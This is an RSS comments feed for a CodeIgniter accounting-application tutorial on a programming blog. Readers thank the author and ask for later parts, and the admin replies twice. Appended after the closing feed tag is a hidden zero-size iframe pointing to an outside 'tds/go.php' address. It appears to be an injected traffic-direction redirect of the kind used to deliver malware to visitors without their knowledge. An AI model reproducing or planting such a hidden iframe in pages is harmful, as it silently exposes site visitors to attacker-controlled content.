<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</title>
	<atom:link href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Thu, 02 Feb 2012 12:16:36 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: ndu</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-2586</link>
		<dc:creator>ndu</dc:creator>
		<pubDate>Sat, 30 Jul 2011 09:01:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-2586</guid>
		<description>Mantap gan, semoga beroleh berkah .. :D</description>
		<content:encoded><![CDATA[<p>Mantap gan, semoga beroleh berkah .. :D</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Prabowo</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-1393</link>
		<dc:creator>Prabowo</dc:creator>
		<pubDate>Fri, 11 Feb 2011 03:44:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-1393</guid>
		<description>Pemakaian Mysql work bench ini untuk yangversi komersial ya pak?dikomputer saya kok abu-2 pilihan untuk menu Database – Forward Engineer nya.
Kalau yang versi free ada gak ya?thanks</description>
		<content:encoded><![CDATA[<p>Pemakaian Mysql work bench ini untuk yangversi komersial ya pak?dikomputer saya kok abu-2 pilihan untuk menu Database – Forward Engineer nya.<br />
Kalau yang versi free ada gak ya?thanks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jazzman</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-714</link>
		<dc:creator>Jazzman</dc:creator>
		<pubDate>Mon, 08 Mar 2010 21:26:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-714</guid>
		<description>Where is the rest of the tutorials? Can&#039;t find part 5 and so on, where can I get them?</description>
		<content:encoded><![CDATA[<p>Where is the rest of the tutorials? Can&#8217;t find part 5 and so on, where can I get them?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: admin</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-239</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Sun, 13 Sep 2009 22:47:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-239</guid>
		<description>yes.. but i&#039;m quite busy lately.. developing a new website for a client : www.GpsTrackingIndonesia.com.. hope can continue writing starting today. Thanks for your attention.</description>
		<content:encoded><![CDATA[<p>yes.. but i&#8217;m quite busy lately.. developing a new website for a client : <a href="http://www.GpsTrackingIndonesia.com." rel="nofollow">http://www.GpsTrackingIndonesia.com.</a>. hope can continue writing starting today. Thanks for your attention.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marcel Marnix</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-237</link>
		<dc:creator>Marcel Marnix</dc:creator>
		<pubDate>Sun, 13 Sep 2009 15:10:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-237</guid>
		<description>R U still out there??? still waiting...</description>
		<content:encoded><![CDATA[<p>R U still out there??? still waiting&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Carlos Caniguante</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-220</link>
		<dc:creator>Carlos Caniguante</dc:creator>
		<pubDate>Wed, 02 Sep 2009 17:56:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-220</guid>
		<description>Really nice tuts, when the fourth part is coming?

I&#039;m visiting your blog too much times in a day :D</description>
		<content:encoded><![CDATA[<p>Really nice tuts, when the fourth part is coming?</p>
<p>I&#8217;m visiting your blog too much times in a day :D</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Steve</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-219</link>
		<dc:creator>Steve</dc:creator>
		<pubDate>Wed, 02 Sep 2009 12:46:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-219</guid>
		<description>Please keep the tuts coming.  I have been working on learning CI and accounting (separately).  This will bring both of these projects together for me.
Also, I have learned about some tools that I did not know about (e.g. MySQL Workbench).

Thanks !

Please keep it coming.</description>
		<content:encoded><![CDATA[<p>Please keep the tuts coming.  I have been working on learning CI and accounting (separately).  This will bring both of these projects together for me.<br />
Also, I have learned about some tools that I did not know about (e.g. MySQL Workbench).</p>
<p>Thanks !</p>
<p>Please keep it coming.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: first</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-211</link>
		<dc:creator>first</dc:creator>
		<pubDate>Fri, 28 Aug 2009 09:06:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-211</guid>
		<description>Mas part 4 nya ko blm keluar2?????di tunggu mas....</description>
		<content:encoded><![CDATA[<p>Mas part 4 nya ko blm keluar2?????di tunggu mas&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: admin</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-186</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Thu, 13 Aug 2009 22:48:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-186</guid>
		<description>ocey... minggu depan seri 4 nya  insya Allah, sudah masuk ke CI</description>
		<content:encoded><![CDATA[<p>ocey&#8230; minggu depan seri 4 nya  insya Allah, sudah masuk ke CI</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: azul</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/comment-page-1/#comment-183</link>
		<dc:creator>azul</dc:creator>
		<pubDate>Thu, 13 Aug 2009 14:05:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comment-183</guid>
		<description>mantep bos artikelnya .. :)
Lanjutkan,ane masi menyimak.
Uda ga sabar bagian CI  nya bos.</description>
		<content:encoded><![CDATA[<p>mantep bos artikelnya .. :)<br />
Lanjutkan,ane masi menyimak.<br />
Uda ga sabar bagian CI  nya bos.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
